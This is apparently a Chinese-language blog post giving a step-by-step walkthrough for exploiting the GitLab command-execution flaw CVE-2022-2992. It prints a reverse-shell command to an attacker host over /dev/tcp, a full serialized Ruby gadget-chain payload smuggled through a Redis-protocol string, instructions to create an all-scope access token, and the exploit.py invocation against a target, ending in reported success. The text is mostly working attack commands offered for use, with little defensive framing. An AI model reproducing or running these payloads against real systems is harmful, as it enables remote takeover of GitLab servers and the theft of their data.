gitlab 命令执行漏洞(CVE-2022-2992)-3.漏洞利用

时间:2024-01-23 17:13:12

1.现在要生成序列化的有效负载,请运行Payload_gen.rb并保存有效负载。下面是一个例子:
ruby payload_gen.rb ‘bash -c “sh -i >& /dev/tcp/xxx29/443 0>&1”’
image.png

2.在server.py中相应地更新 NGROK_URL 和 PAYLOAD 变量。下面是一个例子:
(NGROK_URL替换为攻击机所在vpsip。)

PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/xxx29/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'http://vpsip:5000'

3.注册 gitlab 账号,在 gitlab 上为用户创建访问令牌并选择所有范围。
http://xxxxx/-/profile/personal_access_tokens
image.png
image.png

4.运行exploit.py,注意,这里直接在vps 运行,可以省略使用工具中提到的ngrok工具做内网穿透,实测使用ngrok做内网穿透也会有访问上的问题,强烈推荐直接使用vps 运行 exploit.py。

python3 exploit.py -a ZjY4CzUxxxxx -u http://vpsip:5000 -t http://www.gitlab.com:4567/

image.png
5.命令执行成功。
在这里插入图片描述